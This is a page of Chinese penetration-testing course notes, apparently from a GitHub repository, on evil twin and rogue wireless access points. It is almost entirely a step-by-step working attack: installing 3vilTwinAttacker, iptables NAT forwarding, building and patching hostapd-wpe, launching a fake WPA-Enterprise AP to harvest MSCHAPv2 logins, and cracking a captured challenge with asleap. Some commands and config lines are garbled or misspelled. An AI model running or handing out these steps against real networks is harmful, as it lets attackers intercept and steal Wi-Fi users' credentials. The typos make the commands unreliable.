-
Notifications
You must be signed in to change notification settings - Fork 23
/
课时67 EVIL TWIN AP、ROGUE AP.txt
executable file
·208 lines (162 loc) · 7.99 KB
/
课时67 EVIL TWIN AP、ROGUE AP.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
课时67 EVIL TWIN AP、ROGUE AP
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃EVIL TWIN AP / ROGUE AP ┃
┃3vilTwinAttacker ┃
┃ git clone https://github.com/P0cL4bs/3vilTwinAttacker.git ┃
┃ cd 3vilTwinAttacker ┃
┃ chmod +x installer.sh ┃
┃ ./installer.sh --install ┃
┃ ┃
┃ ┃
┃iptables ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
root@kali:~# git clone https://github.com/P0cL4bs/3vilTwinAttacker.git
正克隆到 '3vilTwinAttacker'...
remote: Counting objects: 849, done.
remote: Total 849 (delta 0), reused 0 (delta 0), pack-reused 849
接收对象中: 100% (849/849), 4.33 MiB | 459.00 KiB/s, 完成.
处理 delta 中: 100% (408/408), 完成.
检查连接... 完成。
root@kali:~# ls 3vilTwinAttacker
3vilTwinAttacker isc-dhcp-server_4.3.1-6_amd64.deb
root@kali:~# cd 3vilTwinAttacker
root@kali:~/3vilTwinAttacker# ls
3vilTwinAttacker isc-dhcp-server_4.3.1-6_amd64.deb
root@kali:~/3vilTwinAttacker# cd 3vilTwinAttacker
root@kali:~/3vilTwinAttacker/3vilTwinAttacker# cd ..
root@kali:~/3vilTwinAttacker# apt-get install isc-dhcp-server
root@kali:~/3vilTwinAttacker# dpkg -i isc-dhcp-server_4.3.1-6_amd64.deb
Selecting previously unselected package isc-dhcp-server.
(Reading database ... 85%
Preparing to unpack is dpkg -i isc-dhcp-server_4.3.1-6_amd64.deb ...
Unpacking isc-dhcp-server (4.3.1-6) ...
Setting up isc-dhcp-server (4.3.1-6) ...
Generating /etc/default/isc-dhcp-server (4.3.1-6) ...
update-rc.d: We have no instructions for the isc-dhcp-server init script.
update-rc.d: It looks like a network service, we disable it.
insserv: warning: current start runlevel(s) (empty) of script 'isc-dhcp-server' overrides LSB defaults(2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script 'isc-dhcp-server' overrides LSB defaults (0 1 6).
Processing triggers for systemd (215-17+deb8ul) ...
Processing triggers for man-db (2.7.0.2-5) ...
root@kali:~/3vilTwinAttacker# cd 3vilTwinAttacker
root@kali:~/3vilTwinAttacker/3vilTwinAttacker# ls
3vilTwinAttacker.py CONTRIBUTING.md installer.sh logs Plugins requirements.txt Settings update.sh
CHANGELOG Core LICENSE Modules README.md rsc Templates
root@kali:~/3vilTwinAttacker/3vilTwinAttacker# ./installer.sh --install
root@kali:~/3vilTwinAttacker-master# ./3vilTwin.py --install
WARNING: No route found for IPv6 destination :: (no default route?)
[+] checking dependencies...
=============================
{+} dhcpd --> [Ok]... |
{+} airbase-ng --> [Ok]... |
{+} ettercap --> [Ok]... |
{+} sslstrip --> [Ok]... |
{+} Xterm --> [Ok]... |
{+} nmap --> [Ok]... |
{+} Starting GUI... |
=============================
[3;J
//3vilTwinAttacker v0.5.3 beta 百度网盘: http://yun.baidu.com/s/1jGDuXc6
Modules----->Settings
iptables:
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
hostpad:
###WPA/IEEE 802.11i
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_passphrase=password
wpa_pairwise=CCMP
###hostapd event logger configuration
#logger_syslog=127
#logger_syslog_level=2
#logger_stdout=127
#logger_stdout_level=2
╋━━━━━━━━━━━━━━━╋
┃WPA企业 ┃
┃hostapd-wpe ┃
┃ 取代FreeRADIUS-wpe ┃
┃ EAP-FAST/MSCHAPv2(Phase 0)┃
┃ PEAP/MSCHAPv2 ┃
┃ EAP-TTLS/MSCHAPv2 ┃
┃ EAP-TTLS/MSCHAPv2 ┃
┃ EAP-TTLS/MSCHAP ┃
┃ EAP-TTLS/CHAP ┃
┃ EAP-TTLS/PAP ┃
╋━━━━━━━━━━━━━━━╋
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃WPA企业 ┃
┃安装 ┃
┃ git clone https://github.com/OpenSecurityRessarch/hostapd-wpe ┃
┃ apt-get install libssl-dev libnl-dev ┃
┃ lib11、libnl-dev包不在kali2.0的官方库中 ┃
┃ wget http://ftp.debian.org/debian/pool/main/libn/libnl/libnl-dev 1.1-7 amd64.deb┃
┃ wget http://ftp.debian.org/debian/pool/main/libn/libnl/libnl1 1.1-7 amd64.denb ┃
┃ dpkg -i libnl1_1.1_7_amd64.deb ┃
┃ dpkg -i libnl-dev1_1.1_7_amd64.deb ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
Gateway:192.168.1.1
AP Name:CMCC-Free
Channel:11
Network Adapter:waln2
root@kali:~# git clone https://github.com/OpenSecurityRessarch/hostapd-wpe
root@kali:~# apt-get install libssl-dev
root@kali:~# wget http://ftp.debian.org/debian/pool/main/libn/libnl/libnl-dev 1.1-7 amd64.deb
root@kali:~# wget http://ftp.debian.org/debian/pool/main/libn/libnl/libnl1 1.1-7 amd64.denb
root@kali:~# dpkg -i libnl1_1.1_7_amd64.deb
root@kali:~# dpkg -i libnl-dev1_1.1_7_amd64.deb
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃WPA企业 ┃
┃wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz ┃
┃tar -zxf hostapd-2.2.tar.gz ┃
┃cd hostapd-2.2 ┃
┃patch -p 1 < ../hostapd-wpe/hostapd-wpe.patch ┃
┃cd hostapd ┃
┃make ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
root@kali:~# wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz
root@kali:~# tar -zxf hostapd-2.2.tar.gz
root@kali:~# cd hostapd-2.2
root@kali:~/hostapd-2.2# patch -p 1 < ../hostapd-wpe/hostapd-wpe.patch
root@kali:~/hostapd-2.2# cd hostapd
root@kali:~/hostapd# make
╋━━━━━━━━━━━━━━━━━╋
┃WPA企业 ┃
┃生成证书 ┃
┃ cd ../../hostapd-wpe/certs ┃
┃ ./bootstrap ┃
┃service network-manager stop ┃
┃airmon-ng check kill ┃
┃映射无线网卡 ┃
┃ifconfig wlan2 up ┃
┃启动伪造AP ┃
┃ cd ../../hostapd-2.2/hostapd ┃
┃ ./hostapd-wpe hostapd-wpe.conf┃
╋━━━━━━━━━━━━━━━━━╋
# Interface - Probably wlan0 for 802.11, eth0 for wired interface=wlan2
# Driver - comment this out if 802.11
#dirver=wired
dirver=nl80211
# May have to change these depending on build location
eap_user_file=hostapd-wpe.eap_user
ca_cert=../../hostapd-wpe/certs/ca/pem
server_cert=../../hostapd-wpe/certs/server.pem
private_key=../../hostapd-wpe/certs/server.pem
private_key_passwd=whatever
dh_file=../../hostapd-wpe/certs/dh
# 802.11 Options - Uncomment all if 802.11
ssid=kifi
hw_mode=g
channel=11
root@kali:~/hostapd-2.2# cd ../../hostapd-wpe/certs
root@kali:~/hostapd-2.2# ./bootstrap
root@kali:~/hostapd-2.2# service network-manager stop
root@kali:~/hostapd-2.2# airmon-ng check kill
root@kali:~/hostapd-2.2# ifconfig wlan2 up
root@kali:~/hostapd-2.2# cd ../../hostapd-2.2/hostapd
root@kali:~/hostapd-2.2# ./hostapd-wpe hostapd-wpe.conf
Configuration file: hostapd-wpe.conf
Using interface wlan2 with hwaddr 08:57:00:0c:96:68 and ssid "kifi"
wlan2: interface state UNINIIALIZED->ENABLED
wlan2: AP-ENABLED
root@kali:~# asleap -C 1c:27:22:95:77:fb:ab:3e -R fb:65:e5:66:f2:4d:12:07:6d:5e:6f:b0:6c:c5:16:cf:d5:bb:16:91:47:5d:11:20 -W /usr/share/john/password.lst